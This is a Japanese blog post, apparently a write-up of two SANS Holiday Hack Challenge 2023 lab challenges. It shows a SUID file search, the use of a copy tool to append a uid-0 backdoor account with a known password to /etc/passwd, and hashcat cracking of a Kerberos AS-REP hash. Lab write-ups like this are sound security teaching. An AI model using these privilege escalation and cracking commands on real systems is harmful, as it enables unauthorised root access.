green_bar.png Save The Earth! Save The Earth! - 地球環境を守ろう! Save The Earth! green_bar.png

URL: https://2023.kringlecon.com/

新年明けまして おめでとうございます!

SANS の Holiday Hack Challenge (Kringlecon) 2023 をちょっとだけやりました。

チャレンジ自体にたどり着くまでにアバターを移動させないといけないのが面倒くさ過ぎて、今年も少ししかやっていません(以下)。


kringlecon_2023_Objectives.png



Linux PrivEsc (Difficulty: 3)


Challenge

Rosemold is in Ostrich Saloon on the Island of Misfit Toys. Give her a hand with escalation for a tip about hidden islands.

(別のチャレンジ文もあったかもしれません。)


Solution

まずは、SUIDがセットされているファイルを探します。

$ find / -perm -u=s -type f 2>/dev/null
:
(snip)
:
/usr/bin/simplecopy


見慣れない simplecopy というのが居たので、実行してみます。

$ /usr/bin/simplecopy
Usage: /usr/bin/simplecopy <source> <destination>


任意のファイルを上書きできそうなので、/etc/password にアカウントを追加します。

$ cp /etc/passwd .
$ echo root2:WVLY0mgH0RtUI:0:0:root:/root:/bin/bash >> passwd
$ /usr/bin/simplecopy passwd /etc/passwd
$ su root2
Password:
# id
uid=0(root) gid=0(root) groups=0(root)

/etc/passwd に追加するやつは使いまわしができるので、Linuxの権限昇格をよくやる人は、手元に一個持っておくといいです。

上記の例だと、パスワードは、mrcake になります。



rootユーザのホーム (/root) に、runmetoanswerというファイルがあって、実行すると簡単なクイズが表示されます。

# /root/runmetoanswer
Who delivers Chrismas presents?

>

ま、サンタクロースなのは間違いないんですが、大文字小文字の区別があったり、ピッタリ回答が合わないとフラグは貰えません。



straceltrace とかも使えないし、strings は大量のアウトプットが出るので、そこから答えのヒントを見つけるのが難しいかもしれませんが、いちおう /etc/runtoanswer.yaml を参照しているのは見つかります(以下)。

kringlecon_2023_strings.png

自分は別の方法でこのファイル(/etc/runtoanswer.yaml)を見つけたと思うんですが、このブログを書いている時点で全く記憶に残っていないし、メモも取ってなかったので、わからないです。ごめんなさい。たぶん、grepfind です。



`/etc/runtoanswer.yaml` の中を見たら、答え `santa` が見つかります。





Hashcat (Difficulty: 2)


Challenge

Eve Snowshoes is trying to recover a password. Head to the Island of Misfit Toys and take a crack at it!

(別のチャレンジ文もあったかもしれません。)


Solution

hash.txt の中身を見ると、$krb5asrep で始まっていて、ググってみると -m 18200 を指定するとよさそうなので、やってみます。

$ hashcat -m 18200 -w 1 -u 1 --kernel-accel 1 --kernel-loops 1 hash.txt password_list.txt --force
kringlecon_2023_hashcat.png



1LuvCandyC4n3s!2022iLuvCandyCan3s!23! 辺りが正解なのかと思ったんですが、これらは正解ではありませんでした。



そもそも、パスワードリスト (password_list.txt) の中には、それほど沢山のパスワードは含まれていないので、Brute Forceしちゃうことにしました。

$ for pass in $(cat password_list.txt); do echo $pass | /bin/runtoanswer & done

これで hashcat を使わなくてもクリアできます。